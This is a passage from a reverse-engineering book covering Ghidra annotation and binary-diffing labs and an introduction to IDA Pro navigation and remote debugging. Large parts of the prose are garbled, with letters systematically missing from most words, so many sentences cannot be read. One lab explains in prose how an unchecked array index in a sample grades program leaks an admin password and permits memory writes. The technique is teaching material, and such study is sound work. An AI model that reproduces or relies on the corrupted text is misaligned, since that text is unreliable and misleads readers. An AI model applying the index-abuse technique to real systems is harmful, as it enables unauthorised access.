❺ Data Type Manager Bu-, ee, bay-povded, ad ue-deed
daa ype w be avaabe ee. You a eay avae o opeao o vaue
ad eeee by e daa ype.
❻ Listing Te poam’ ode daemby ad daa eeee ae ed ee.
You a eay expoe poam o, eeee, ad adde oe. Spea
omme ad amed vaue eeaed by e Gda oade ad aayze ae
dpayed ee a we.
❼ Decompile T wdow dpay a C auae epeeao o e uo
eeed o e L wdow. T deompao eae e poe o aayz
ae ad ompex aemby ode bok.
❽ Console – Scripting Reu ad oupu om p ad pu- ae
ow ee.
I you o o Poam Tee ad doube-k e .ex memoy eme, e L
wdow w o o e a o e poam’ exeuabe ode ad povde daemby
ode eed w eam ad omme podued by e pevou aay. I ao
a uve omao o expo ad udead e ode, u a adde-
, uo byeode, ommeed daa opead, abe, odoa ba ow
omao, ad o-eeee.
76
I e Symbo Tee, o o e Fe ex pu ad ype LoadStudents o ea o
 uo. Ck  o vew e uo  e L wdow:
Te L wdow a a eed vew o e daembed poam ode:
❶ Te L ooba povde quk ae o opy ad pae uo, oop
pevew,  ed edo, d vew o poam ompao, apo,
ad o ma dpay. You a k Ed e L Fed buo  e
ooba o uomze e deau L ayou.
❷ Comme make keep ak o you wok eae. Tey ae omeme
povded by e aay o dee ymbo’ vaue ad opead, bu you
a add you ow by pe ; (emoo) o -k e eeed
adde ad o o e Comme pop-up meu.
❸ Fow aow ow you e deao o odoa ad uodoa jump.
77
❹ Co-eeee k povde omao o wee  e poam vaue
ae be ead ad we, ad wee uo ae be aed o eeeed.
PART I
Doube-k ee k w ake e L vew o e eeed adde.
You a ao d eeee o ay adde o ymbo by pe ctrl-shift-f.
❺ Memoy Adde ow e aboue ume eeee o ay ode o vaue
you ae vew  e L wdow. You a avae o ay abay adde
w e ope e by pe g.
❻ Code Bye  a exadema eoded bay epeeao o e ue
uo.
❼ Daemby ode  wee you d e daembed ad aayzed uo
w e memo ad opead. You a pa ad ae ee uo
by pe ctrl-shift-g.
❽ Te Eopy Leed ad Ovevew Leed deba ep you quky pevew
ad avae dee pa o e poam by oo od  ayae e
bay vaae ad eod eopy ad by povd bok abeed Fuo,
Uazed, Exea Reeee, Iuo, Daa, ad Udeed. You a vew
a oo-oded eeee by -k e deba ad k Sow Leed.
Search
Gda povde ea uoay a eabe you o ea o pe bay
pae, ex  poam ode, ymbo, uo ame, omme, ad moe. Ao,
 oe a ma ea o pe uo pae, aa, ad  (eade
o e eod). We w expoe ome o ee uo  e ad-o exee
a e ed o e ape.
78
Decompiler
Te Deompe eaue povde a C auae epeeao o e daembed ode,
a ow ee:
Aou omped bay ode ao be bou bak o oue, e deompe
povde a ood eouo o e o expeed by e poam’ ode. T eaue
 vey ueu o bee a we a eaoed evee eee beaue  edue om-
pexy ad mpove e eadaby o e poam.
Program Annotations
Aoao ep you mpove eadaby, povde aao, ad keep ak o e wok
doe o a eveed poam. Aoao ao ae e eu deompe oupu.
Gda povde may ype o aoao. Hee ae ome o e mo mpoa oe:
• You a ue pea aoao  omme a oma . Tee ae
e eu oupu, pey vaue a  addee, ymbo, URL, ad
oe oma.
• Vaabe aoao aow you o ae a vaabe’ ymbo ame,  daa ype,
ad  oae oao.
• Labe eam aow a abe ad eed ame o moe pe oe
o bee udead o e ode.
• Fuo aoao a be ued o ae a uo’ ame, aue, a
oveo, ad eu vaue daa ype.
Graphs
Gda povde poweu ap-eea eaue. Someme exeuo ow ad o-
doa a beome mey, ad wou ap, udead ome ode m eem
a mpobe ak. Gap o o vee (o bok) ad ede (o oo ow), ad
ey a ep you udead e ba, oo ow, oop, eeee, ad eve e
oeao bewee uo ad abe  e poam.
79
Tee ae wo ype o ap:
PART I
• Flow graphs Dpay e ow (a-ou ad uodoa jump) bewee
eeed bok o ode.
• Call graphs Dpay e equee o a bewee uo.
You a eeae a ap o e eeed ode o uo by o o e Gap
meu ad ee e deed ap. Te Gap meu povde e oow oo:
1. Toolbar Aow quk ae o e ad ee e dpay o ap ad
oe opo.
2. Graph view A bok (vee) ad ow (ede) ae dpayed ee o eay
avao, oup, ad peo. You a pa by da e moue, ad
you a zoom  ad ou w e moue o wee o akpad.
3. Satellite view Hep you quky avae ou e ap by ow a ma
map o a aped bok.
80
You a ao expo ap o may ap ad daa oma, u a CSV, DOT,
GML, JSON, Vo, ad oe.
Lab 4-1: Improving Readability with Annotations
Fo bee, a vey ua ad umbeome pa o evee eee  o av-
 a ea dea o wa vaou paamee ad daa vaue mea. T ak o oex o
dee ee vaue e, memoy oe, poe eeee, ad uo au-
me a be oveome w pope ue o daa ype.
A you m aeady kow, e ume o ompue aeue  ao o
daa ype, w ae oy eeva o e owae deveope du poamm me
ad ae ued by e ompe o oey a memoy aoao, uue membe
oe, aay dexe, ad oe e du ompe me.
I we ompae e oa ode w e deau deompe vew o e LoadStudents
uo, ow ex, we m o d e deompe eaue a ueu a  a be.
We w poeed o mpove e students poam eadaby by a daa ype o
vaue  e ma uo.
Te oue ode ow a for oop eme a oue vaabe by  o ea
eao a’ ued a a dex o e students oba vaabe, w  a aay o
ou deed ype Student. Po o aoao, e deomped C epeeao o e
oepod aemby ode w ow e dex oue vaabe muped by 0x20
(w  e ze o e Student daa). Ao, ve a e deompe   uawae o
e daa ype o ea vaabe, evey vaue eeee w be ype-aed, u ompa-
 oue ode eadaby eve moe.
81
We a eay mpove eadaby by e vaabe w e oe daa ype
aoao ad eam e vaabe. Le’ peed we do’ ave e oue ode o
PART I
a we a expeee e mo ommo eao expeed du ea evee eee-
. Foow ee ep:
1. Go o e LoadStudents uo by ea  o e Symbo Tee vew, ad
e o o e Deompe wdow o make ome aoao. We w ae
vaabe ame, daa ype, ad uo aue baed o e opeao ad
uo ey ae eaed o  e ode.
2. Baed o e way e vaabe  deeeeed ad be e a oe o 32 (0x20)
muped by count dex vaabe, we kow   a aay. Some vaue ea e
oe ae be e, a ow ex:
• O e 25, a ee vaue  deeeeed a 24 (0x8) bye om e oe
(count * 32), o ’ ae o aume   a poe o a ee vaue (int *).
Te ame oud be “d,” a   be e om e oue dex vaabe.
• O e 26, e strncpy uo  opy a  oepod o e
ude’ ame ead om e CSV e o e bae oe (count * 32), o ’
a aae aay o ukow ze. Howeve, we a ue ’ 24 bye beaue
’ wee e pevou vaue oe , ad  oud’ ovewe a membe o
 ow uue (char [24]). We’ a  uue membe “ame.”
• O e 28, e iVar1  be e om e atoi uo aed o e ade
vaue  e CSV, w eu a ee, ad e   e a oe 0x
om e bae oe (count * 32). Teeoe, e’ aume   a ee a
we. T  e ude’ uue “ade” membe.
3. Now we a dee ou uom Sude uue daa ype o e eeme  e
ude aay. Go o e Daa Type Maae wdow, -k e “ude”
poam daa ype, ee e New ubmeu ad k e “uue” em.
a. Name e uue Student ad e  ze o 32 bye.
b. Go o e  ow o e abe (oe 0), doube-k e DaaType ed,
ad ype char[24]. Te doube-k e Name ed ad ype name.
c. I e eod ow (oe 24), e e DaaType ed o int ad e e Name
ed o id.
d. Repea e ame  o e d ow (oe 28) ad e e Name ed
o grades.
e. I you Suue Edo wdow ook ke e oe  Fue 4-2, k e
Save o ad oe e wdow. Te uue  ow eady o be ued.
82
Figure 4-2 Structure Editor window showing the structure to be used
4. Pae e uo ove ay ae o e students oba vaabe ad pe ctrl-l
o ae  daa ype om undefined[1024] o Student[32] (ou u a a
ze o 32, ad 024 dvded by 32 equa 32).
5. Cae e e o e vaabe ad uo baed o e oex. Fo ae,
e local_20 vaabe  be e a e eu o a fopen uo; eeoe, 
oud be e a a FILE * daa ype, ad  ame oud be ome ke fh.
a. Pe ctrl-l o ae  ype o FILE *.
b. See e vaabe ame ad pe l, o -k ad e ee Reame
Vaabe o ae e vaabe ame o fh.
c. To avod a e a o fopen, -k e uo, k Ed Fuo
Saue, ad,  eeded, ae e uo aue o e  oe a
aume ad eu daa ype.
I you ae uue abou e aue o adad uo, ue e poamme’
maua by u man 3 fopen  a ema wdow.
83
Ae ompe  poe, you oud oe a e eadaby o bo e
deomped ad  daembed ode  eay mpoved, a ow ex. Ao, evey
PART I
oe uo eee e aoaed vaabe, uo, ad daa ype w bee
om  eo.
Lab 4-2: Binary Diffing and Patch Analysis
We vueabe ae doveed ad epoed, vedo poeed o pa e pod-
u ad pub e updae. Someme e updae’ ae o  med  dea
ead e paed bu, ad  ode o udead e ae ad deveop expo,
bay d beome eeay.
T ab w wak you ou e poe o dove a vueaby ae e
ude ade maaeme oo by mea o bay d. Te vueaby oud
be eay eou o po by mpy pe e ode, bu, aa, we w peed we oy
ave ae o e bay e o bee muae a ea-wod eao.
Setup
Gda povde a ode deee eaue a eabe you o ompae e deee
bewee wo bae w e ame adde ayou ad poo. T  ueu o bay
paed ompao w a oe-o-oe oe oeao, bu  doe’ oeae ode 
em o oex ad exeuo ow.
Fouaey, we a exed Gda’ apabe by a pu- u a
BDHepe o e exee BD oo. To do o, oow ee ep:
1. Ia e Gade bud auomao oo, veo 6.5, by u e oow
ommad:
└─$ wget https://services.gradle.org/distributions/gradle-6.5-milestone-2-bin.zip
&& sudo unzip gradle-6.5-milestone-2-bin.zip -d /opt
84
2. Coe ad ompe e BExpo2 pu- om e oa epooy. T pu-
 auomae e BExpo deee daabae-eeao poe:
└─$ git clone --single --depth=1 --branch=master \
https://github.com/google/binexport ~/binexport &&
cd ~/binexport/java/BinExport &&
/opt/gradle-6.5-milestone-2/bin/gradle \
-PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
Te ompe poe oud ake a ew mue. Oe   doe, a BExpo pu-
 ZIP e oud ave bee eaed de e ~/bexpo/java/BExpo ode.
3. O Gda’ poje wdow, o o e Fe | Ia Exeo meu ad k e
pu  (+) o o add e pu-’ ZIP e o e ~/bexpo/java/BExpo/
d ode, a ow ex:
4. Ck OK ad ea Gda o a e pu- ae ae apped.
5. I a ema wdow, dowoad ad a BD v6 om e oa e3:
└─$ wget https://storage.googleapis.com/bindiff-releases/bindiff_6_amd64.deb
└─$ sudo dpkg -i bindiff_6_amd64.deb || sudo apt-get install -f
Iaao o e .deb pakae w pomp you o e IDA Po pa. Leave 
empy o pey we ae eeed  e expemea Gda exeo.
6. Coe ad ompe e BDHepe pu- om e oa epooy:
└─$ cd ~/ && git clone --single --depth=1 --branch=master \
https://github.com/ubfx/BinDiffHelper &&
cd ~/BinDiffHelper &&
/opt/gradle-6.5-milestone-2/bin/gradle \
-PGHIDRA_INSTALL_DIR=~/ghidra_9.2.3_PUBLIC
7. O Gda’ poje wdow, o o e Fe | Ia Exeo meu ad add e
pu-’ Zp e o e ~/BDHepe/d/ ode, a ow ex.
85
PART I
8. Rea Gda o a pu- ae ae apped.
Binary Diffing
Now a e pu- ave bee aed, e’ oue e ab by expo e bay
d poe:
9. Ope e students-patched poam e. You w be pomped a ew
exeo ave bee deeed:
See Ye o oue e ew pu-, ad  e ex wdow, k OK:
86
10. Ru Auo-Aayze ad ave e poje.
11. Repea ep 9 ad 0, bu  me w e students poam e.
12. Ope e Wdow/BDHepe pu- wdow. Ck e oue o o
e e oe BD 6 bay pa (/op/bd/b/bd ), a ow ex:
13. Ope e students-patched poam by k e “Ope a e o ompao”
o. You oud ow ee Smay ad Codee oe o ea uo. Go
o e ViewStudentGrades uo a e boom, ee e mpo ekbox,
ad k e “Impo Seeed Fuo” o.
Patch Analysis
Te oo a eveaed deee bewee e poam o e ViewStudentGrades
uo, a ow ex:
87
A quk peo o e deompao o bo veo’ uo evea ee wa
o bouday ek o e students aay dex we pa e ue’ pu w e
PART I
atoi uo. Ta mea we a ee ay pove o eave dex umbe, aow
u o ea ay 32-bye-aed adde a a Student daa uue.
Te “Cae ade” opo aow o a ude’ ade  e oe pa-
wod  e. I u ou a we a ue  vueaby o ou avo. I we o o
Wdow | Symbo Tabe ad ea o e admin_password ymbo, we’ oe 
 oaed a oe 0x001040a0. Ta  exay 64 bye beoe e students aay bae
adde (0x001040e0).
Wa woud appe  we ue e “Vew ade” opo ad ee ude umbe -2?
A you a ee, ea admin_password’ memoy a a Student uue ype va-
abe w ed up av e pawod exay o e uue’ “ame” poo. We ave
oud a ead expoao pmve ad a ow ead 24 bye om ay 32-bye-aed
memoy vaue.
Bu a’ o a. Noe ow we oo e dex vaue ad ade membe vaue o
e students uue  e ChangeStudentGrades uo. Ta mea we a we
4 bye a ay oao 28 bye om ay 32-bye-aed memoy adde.
Summary
I  ape, we oveed ba Gda eaue ad uoay o e you aed,
eav e doo ope o you o expoe moe advaed op. We ooked a op
u a e Gda eae, mpov eadaby w aoao, ad ow o ue
Gda o bay d ad pa aay. Take e me o expoe oe poweu
ad advaed Gda eaue, u a auoma evee eee ak w Gda
p ad e ede pobe  pu- yem aow.
88
For Further Reading
Ghidra’s Embedded Help Pe f1 o k Hep o ay meu em o dao.
Ghidra’s Wiki da-e.o/CeaSee.m
Recon MTL 2019 (by ghidracadabra and emteere) ub.om/NaoaSeuyAey/
da/wk/e/eo209.pd
Black Hat USA 2019 (by Brian Knighton and Chris Delikat) ub.om/
NaoaSeuyAey/da/wk/e/baka209.pd
References
1. BDHepe, p://ub.om/ubx/BDHepe.
2. BExpo, p://ub.om/ooe/bexpo.
3. zyam BD, p://www.zyam.om/bd.m.
IDA Pro
CHAPTER
5
• Introduction to IDA Pro for reverse engineering
• Navigating IDA Pro
• IDA Pro features and functionality
• Debugging with IDA Pro
The disassembe and debugge known as Ineaive Disassembe (IDA) Po is a feaue-
ih, eensibe, evese engineeing appiaion owned and mainained by he ompany
He-Rays in Begium. I is a ommeia podu wih aenaive vesions avaiabe suh
as IDA Home and IDA Fee. The IDA famiy of disassembes ae aivey mainained
wih a age numbe of feey avaiabe pug-ins and sips povided by He-Rays and
he use ommuniy. He-Rays aso offes he He-Rays Deompie, aguaby he bes
deompie avaiabe. Compaed o ohe disassembes, i is he mos maue, suppoing
he ages numbe of poesso ahieues and feaues.
Introduction to IDA Pro for Reverse Engineering

Wih he age numbe of fee and aenaive disassembes avaiabe, why hoose IDA
Po? Fee aenaive disassembes inude Ghida (oveed in Chape 4), adae2, and
some ohes. Commeia aenaives inude Binay Ninja and Hoppe. Eah of hese
aenaives is a gea disassembe; howeve, IDA is highy espeed, suppoing he
mos poesso ahieues, and wih he geaes numbe of pug-ins, sips, and ohe
eensions. I is widey used by he seuiy eseah ommuniy and offes ouness fea-
ues o aid in he anaysis of binaies. Aso, fee vesions of IDA Po ae avaiabe, wih
he mos een being IDA 7.0; howeve, hey end o be imied in hei funionaiy.
We wi be using IDA Po and assoiaed pug-ins in Chape 18 o pefom Miosof
pah anaysis o oae ode hanges ha oud be indiaive of a pahed vuneabiiy.
The imey weaponizaion of a pahed vuneabiiy is a powefu ehnique used duing
offensive seuiy engagemens.
89
90
What Is Disassembly?
Fis, e’s ook a he a of disassembing mahine ode. This is oveed in diffeen
ways esewhee in he book, bu i is impoan o ensue you undesand he fundamen-
a pupose of a disassembe in eaion o his hape. Fo his eampe, we ae using
he ompied vesion of he myAtoi pogam povided o you in you ~/GHHv6/ch05
fode, having peviousy oned he Gay Ha Haking 6h Ediion Gi eposioy. Use
he objdump oo insaed ono Kai Linu wih he foowing opions o disassembe
he fis eigh ines of he main funion of he myAtoi pogam. The -j fag aows you
o speify he seion; in his ase, we ae hoosing he .text o “ode” segmen. The -d
fag is he opion fo disassembe. We ae gepping fo he sing “<main>:” and pining
eigh ines afe wih he -A8 fag.
└─$ objdump -M intel -j .text -d ./myAtoi | grep "<main>:" -A8
00000000000011ca <main>:❶
❷ ❸ ❹ ❺
11ca: 55 push rbp
11cb: 48 89 e5 mov rbp,rsp
11ce: 48 83 ec 20 sub rsp,0x20
11d2: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
11d9: 00 00
11db: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
11df: 31 c0 xor eax,eax
11e1: c7 45 f3 31 32 33 34 mov DWORD PTR [rbp-0xd],0x34333231
In he fis ine of oupu a ❶, we an see ha he main funion sas a he ea-
ive viua addess (RVA) offse of 0x00000000000011ca fom wihin he ovea binay
image. The fis ine of disassembed oupu in main sas wih he offse of 11ca as
seen a ❷, foowed by he mahine anguage opode 55, seen a ❸. To he igh of he
opode a ❹ is he oesponding disassembed insuion o mnemoni push, foowed
by he opeand rbp a ❺. This insuion woud esu in he addess o vaue soed in
he rbp egise being pushed ono he sak. The suessive ines of oupu eah povide
he same infomaion, aking he opodes and dispaying he oesponding disassemby.
This is an 86-64 bi Eeuabe and Linking Foma (ELF) binay. Had his pogam
been ompied fo a diffeen poesso, suh as ARM, he opodes and disassembed
insuions woud be diffeen, as eah poesso ahieue has is own insuion se.
The wo pimay mehods of disassemby ae inea sweep and eusive desen (aso
known as eusive avesa). The objdump oo is an eampe of a inea sweep disas-
sembe, whih sas a he beginning of he ode segmen, o speified sa addess,
disassembing eah opode in suession. Some ahieues have a vaiabe-engh
insuion se, suh as 86-64, and ohe ahieues have se size equiemens, suh
as MIPS, whee eah insuion is 4-byes wide. IDA is an eampe of a eusive desen
disassembe, whee mahine ode is disassembed ineay uni an insuion is eahed
ha is apabe of modifying he ono fow, suh as a ondiiona jump o banh. An
eampe of a ondiiona jump is he insuion jz, whih sands fo jump if zero. This
insuion heks he zero flag (zf) in he FLAGS egise o see if i is se. If he fag is
se, hen he jump is aken. If he fag is no se, hen he pogam oune moves on o
he ne sequenia addess, whee eeuion oninues.
Chapter 5: IDA Pro
91
To add one, he foowing image shows an abiay eampe inside IDA Po of a
ondiiona jump afe ono is euned fom a memoy aoaion funion:
PART I
This gaphia view inside of IDA Po is in eusive desen dispay foma.
call cs:__imp_GetProcessHeap ❶
mov r8, r14 ❷ ; dwBytes
xor edx, edx ❸ ; dwFlags
mov rcx, rax ❹ ; hHeap
call cs:__imp_HeapAlloc ❺
mov r15, rax ❻
test rax, rax ❼
jz loc_14006CE15 ❽
Fis, he funion GetProcessHeap is aed ❶. As he name suggess, his fun-
ion a euns he base addess o hande of he defau poess heap. The addess
of he heap is euned o he ae via he RAX egise. The agumens fo a a o
HeapAlloc ae now being se up wih he fis agumen being he size, opied fom
r14 o r8, a ❷, using he mov insuion. The dwFlags agumen is se o a 0 via he
xor edx, edx insuion, a ❸, indiaing no new opions fo he aoaion eques. The
addess of he heap is opied fom rax ino rcx a ❹. Now ha he agumens ae se up
fo he HeapAlloc funion, he call insuion is eeued a ❺. The epeed eun
fom he a o HeapAlloc is a poine o he aoaed hunk of memoy. The vaue
soed in rax is hen opied o r15 a ❻. Ne, he test rax, rax insuion is eeued
a ❼. The test insuion pefoms a biwise and opeaion. In his ase, we ae esing
he rax egise agains isef. The pupose of he test insuion in his eampe is o
92
hek o see if he eun vaue fom he a o HeapAlloc is a 0, whih woud indiae
a faiue. If rax hods a 0 and we and he egise agains isef, he zero flag (zf) is se.
If he HEAP_GENERATE_EXCEPTIONS opion is se via dwFlags duing he a
o HeapAlloc, eepion odes ae euned insead of a 0.1 The fina insuion in
his bok is he jump if zero (jz) insuion, a ❽. If he zf is se, meaning ha he
HeapAlloc a faied, we ake he jump; ohewise, we advane ineay o he ne
sequenia addess and oninue ode eeuion.
Navigating IDA Pro

I is impoan o undesand how o popey wok wih and navigae IDA Po, as hee
ae many defau abs and windows. Le’s sa wih an eampe of oading a basi binay
ino IDA Po as an inpu fie. When fis oading he myAtoi pogam ino IDA Po, we
ae pomped wih he foowing window:
IDA Po has pased hough he meadaa of he obje fie and deemined ha i is
a 64-bi ELF binay. IDA pefoms a age amoun of iniia anaysis, suh as he aing
of eeuion fow, he passing of Fas Libay Idenifiaion and Reogniion Tehnoogy
(FLIRT) signaues, sak poine aing, symbo abe anaysis and funion naming,
inseing ype daa when avaiabe, and he assignmen of oaion names. Afe you ik
OK, IDA Po pefoms is auo-anaysis. Fo age inpu fies, he anaysis an ake some
ime o ompee. Cosing a he windows and hiding he Navigao ooba speeds up
Chapter 5: IDA Pro
93
PART I
Figure 5-1 IDA Pro default layout
he anaysis. One i is ompeed, iking Windows fom he menu opions and hoos-
ing Reset Desktop esoes he ayou o he defau seing. One IDA Po has finished
is auo-anaysis of he myAtoi pogam, we ge he esu shown in Figue 5-1.
NOTE A lot of features and items are referenced in Figure 5-1. Be sure to
refer back to this image as we work our way through the different sections,
features, and options.
The Navigao ooba in Figue 5-2 povides an oveview of he enie inpu fie,
boken up by he vaious seions. Eah oo-oded aea wihin he ooba is ikabe
fo easy aess o ha oaion. In ou eampe wih he myAtoi pogam, a age poion
of he ovea image is idenified as regular functions. This indiaes inena funions
and eeuabe ode ompied ino he binay, as opposed o external symbols, whih ae
dynami dependenies, and library functions, whih woud indiae saiay ompied
ibay ode. The Funions window, shown in Figue 5-3, is a is of names fo a ine-
na funions and dynami dependenies.
Doube-iking an eny auses ha funion o dispay in he main gaph view win-
dow. The g hokey aso aows you o jump diey o an addess. If a symbo abe is
avaiabe o IDA Po, a funions ae named aodingy. If symbo infomaion is no
Figure 5-2 IDA Pro Navigation toolbar

94
Figure 5-3
IDA Pro Functions
window
avaiabe fo a given funion, hey ae given he sub pefi, foowed by he Reaive
Viua Addess (RVA) offse, suh as sub_1020. The foowing is an eampe of when a
symbo abe is no avaiabe vesus when i is avaiabe:
Beow he Funions window is he Gaph Oveview window. Refe o Figue 5-1 o
see his window. I is simpy an ineaive window epesening he enie funion u-
eny being anayzed.
The Oupu window a he boom of he defau IDA Po ayou is shown in
Figue 5-4, aong wih he ineaive Pyhon o IDC ba. The Oupu window is whee
messages ae dispayed, as we as he esus of eneed ommands via IDA Pyhon o IDC.
IDA Pyhon and IDC ae disussed in Chape 13. In ou eampe, he as message dis-
payed is, “The iniia auoanaysis has been finished.”
Chapter 5: IDA Pro
95
PART I
Figure 5-4 IDA Pro Output window
The main window in he ene of IDA Po’s defau ayou is ied IDA View-A in
ou eampe and is shown in Figue 5-5. This is he gaph view, whih dispays fun-
ions and he boks wihin hose funions in a eusive desen sye. Pessing he
spaeba wihin his window swihes he dispay fom gaph view o e view, as shown
in Figue 5-6. Te view is moe of a inea sweep way of ooking a he disassemby.
Figure 5-5 IDA Pro graph view
Figure 5-6 IDA Pro text view

96
Figure 5-7 IDA Pro Imports tab
Pessing he spaeba again ogges beween he wo view opions. In Figue 5-5, he
main funion is dispayed and hee is ony a singe bok of ode. The ype infomaion
is dispayed a he op of he funion, foowed by oa vaiabes and he disassemby.
Figue 5-7 shows he Impos ab. This window dispays a he dynami dependenies
he inpu fie has on ibay ode. The op eny ised is he printf funion. The shaed
obje onaining his funion is equied fo he pogam o un and mus be mmap’d
ino he poess a unime. No shown is he Epos ab. This window dispays a is of
odinay aessibe epoed funions and hei assoiaed addesses. Shaed objes and
Dynami Link Libaies (DLLs) make use of his seion.
IDA Pro Features and Functionality

IDA Po has a age numbe of bui-in feaues, oos, and funionaiy; howeve, as
wih many ompe appiaions, hee is a eaning uve when fis geing saed.
Many of hese opions ae no avaiabe in he IDA Fee vesion. We wi sa wih he
mos basi pefeene seing, he oo sheme, and hen go ove some of he moe usefu
feaues. IDA Po offes diffeen pedefined opions wih he oo sheme. To se hese
opions, ik he Options menu, foowed by Colors. Shown in Figue 5-8 is he IDA
Coos dop-down menu and opions. You an see beween defau, daua, and dak.
The dak opion appies o IDA Po in is eniey. The daua opion appies ony o he
disassemby window. Figue 5-9 shows an eampe of dak mode.
Cross-References (Xrefs)
I is quie ommon o wan o know fom whee in a binay hee ae as o a fun-
ion of inees. These ae aed cross-references, aso known as xrefs. Pehaps you wan
o know fom whee and when a a o he HeapAlloc funion is made. One mehod
is o ik he Impos ab, so he Name oumn aphabeiay, and oae he desied
funion. When his is oaed, doube-ik he name o be aken o he Impo Daa
Figure 5-8 IDA Pro color schemes

Chapter 5: IDA Pro
97
PART I
Figure 5-9 IDA Pro dark mode
(.idaa) seion fo he desied funion, suh as ha shown in Figue 5-10. Wih he
funion seeed wihin he .idaa seion, pess ctrl-x o bing up he efs window.
Figue 5-11 has he esus in ou HeapAlloc eampe. We an see any of he as
ised o go o ha oaion wihin he inpu fie.
Figure 5-10 Import data section
Figure 5-11 Cross-references to HeapAlloc

98
NOTE There is also an operand cross-reference hotkey called JumpOpXref,
which is executed by pressing x. An example use case could be a variable
stored in the data segment of a program that is referenced multiple places
within the code segment. Pressing x on the variable when highlighted
brings up the cross-references to that variable.
Function Calls
Figue 5-12 is an eampe of a funion wih quie a few boks. Funions ae ofen
muh age han his eampe. I is ommon o wan o ook a no ony a oss-
efeenes to a funion bu aso as from a funion. To ge his infomaion in one
pae, see View | Open Subviews | Function Calls. The unaed eampe in
Figue 5-13 shows hee as o he ueny anayzed funion, as we as quie a few
as fom his funion.
Figure 5-12
Example of a
function
Figure 5-13
Function calls
Chapter 5: IDA Pro
99
Proximity Browser
The poimiy bowse, aso known as poimiy viewe (PV), feaue is usefu fo a-
PART I
ing pahs wihin a pogam. Pe he He-Rays websie, “We an use he PV, fo eampe,
o visuaize he ompee agaph of a pogam, o see he pah beween 2 funions o
wha goba vaiabes ae efeened fom some funion.”2 In Figue 5-14 we ae using
poimiy bowse o ae he pah beween he main funion and a a o memcpy.
The memcpy funion has a count agumen ha speifies he numbe of byes o opy.
This funion is ofen invoved in buffe oveuns due o he impope auaion of he
count agumen, hene why i is used as an eampe.
To open he poimiy bowse, ik View | Open Subviews | Proximity Browser.
One hee, if anyhing is dispayed by defau, you an oapse any hid o paen
nodes by igh-iking he ene node and seeing he appopiae opion. If you
igh-ik anywhee in he window ha is no a node, you ae pesened wih menu
opions. The easies mehod is o see Add Node by Name and hoose he desied
funion name fom he is as eihe he saing o ending poin. You hen pefom his
same opeaion o see he ohe poin. Finay, you an igh-ik one of he nodes and
see he Find Pah opion.
Figure 5-14
Proximity
browser
100
Figure 5-15 General Options menu
Opcodes and Addressing

You may have noied in he main gaph view of IDA ha opodes and addessing ae
no dispayed by defau. This infomaion is onsideed disaing by some anayss and
may ake up unneessay seen spae, espeiay in 64-bi pogams. Adding his info-
maion ino he dispay is vey simpe and is pefomed by iking Options | General.
Figue 5-15 shows a seensho of his menu on he Disassemby ab, whee we heked
he Line Prefixes (Gaph) opion whie in gaph view and se he Number of Opcode
Bytes (Gaph) fied o 10. In Figue 5-16, you an see his infomaion inuded in he
dispay. You an pess ctrl-z o undo hese hanges.
Shortcuts
Thee ae a o of defau shous and hokeys ha ae no inuiive, suh as pessing w
o zoom ou and he numbe 1 o zoom in o a pedefined size. The numbes 2 and 3
aow you o zoom in and zoom ou in a moe onoed manne. How do we know hese
diffeen opions? Cik Options | Shortcuts o bing up he window ha onos hese
seings. This is shown in Figue 5-17. Hee you wi find he defau hokeys, as we as
hose ha have been hanged. The defaus may vay beween he diffeen vesions, suh
as IDA Po, IDA Home, and IDA Fee.
Chapter 5: IDA Pro
101
PART I
Figure 5-16 Opcodes and address prefixes
Figure 5-17 Shortcuts menu

102
Figure 5-18
Regular
comment
Comments
I is ommon paie o inude ommens in you ode when wiing an appiaion.
This aows ohes who ook a you ode o undesand you hough poess and ge
ino he same one. As he auho, i aso makes i easie fo you o ge bak up o speed
when opening bak up he odebase. This same paie appies o evese engineeing.
Looking a disassemby o deompied pseudoode is a ime-onsuming paie. IDA
adds in some ommens based on avaiabe ype infomaion. Thee ae vaious ypes
of ommens, bu wo of he mos ommon ae egua ommens and epeaabe om-
mens. To add a egua ommen, ik he desied ine of disassemby and pess he
oon (:) key. Type in you ommen and ik OK. An eampe of a ommen is seen
in Figue 5-18. Pe He-Rays, a epeaabe ommen is “basiay equivaen o egua
ommens wih one sma disinion: hey ae epeaed in any oaion whih efes o
he oigina ommen oaion. Fo eampe, if you add a epeaabe ommen o a goba
vaiabe, i wi be pined a any pae he vaiabe is efeened.”3
Debugging with IDA Pro

IDA Po inudes obus debugging suppo, boh oa and emoe. Loa debugging is
suppoed by he pafoms on whih IDA Po is insaed, inuding maOS, Linu, and
Windows. Remoe debugging is suppoed on vaious pafoms, inuding iOS, XNU,
BOCHS, Ine PIN, Andoid, and ohes. We wi fous on a emoe debugging eampe
fo his seion using GDB Seve unning on a age Kai Linu viua mahine and
IDA Po unning on a Windows 10 viua mahine. IDA Po omes wih muipe
emoe debugging subs ha an be opied o he desied age sysem whee an appia-
ion is o be debugged.
Le’s ge igh o an eampe of emoe debugging wih IDA Po. Fo his eampe,
we ae using he ompied vesion of he myProg pogam povided o you in you
~/GHHv6/ch05 fode, having peviousy oned he Gay Ha Haking 6h Ediion Gi
eposioy. This is no a ab; howeve, if you wish o foow aong, his pogam is needed
on he sysem whee IDA is insaed as we as on he age Kai Linu sysem. Newok
onneiviy is equied beween he sysem unning IDA Po (debugge) and he sysem
unning he age pogam (debuggee), as GDB Seve isens on a designaed TCP po
numbe and awais a onneion eques. The foowing ommand sas up GDB Seve
fo he myProg pogam and es i o isen on TCP po 23946 o awai an inoming
onneion. The --once opion eminaes GDB Seve afe he TCP session oses, as
opposed o auomaiay saing again.
┌──(kali kali)-[~/Desktop]
└─$ gdbserver --once localhost:23946 ./myProg
Process ./myProg created; pid = 4564
Listening on port 23946
Chapter 5: IDA Pro
103
Figure 5-19
Remote GDB
PART I
Debugger in IDA
Wih GDB Seve unning on he age debuggee sysem, i is ime o oad he
myProg pogam ino IDA Po on he debugge sysem. We aow IDA Po o pefom
is auo-anaysis and see he Remote GDB Debugger opion, as shown in Figue 5-19.
We now ik Debugger | Process Options fom he IDA Po menu. This bings up
he diaog bo shown in Figue 5-20. The Appiaion and Inpu Fie opions ae boh
se o he oa fode whee he myProg pogam is oaed. As an eampe, if we wee
debugging a DLL oaded by a age appiaion, he Appiaion and Inpu Fie opions
woud be diffeen. Fo he Hosname opion, we have eneed he IP addess of he a-
ge debuggee sysem. The po numbe defaus o 23946, so we used his same opion
on he age sysem wih GDB Seve. One we aep hese opions, we ik he Pay
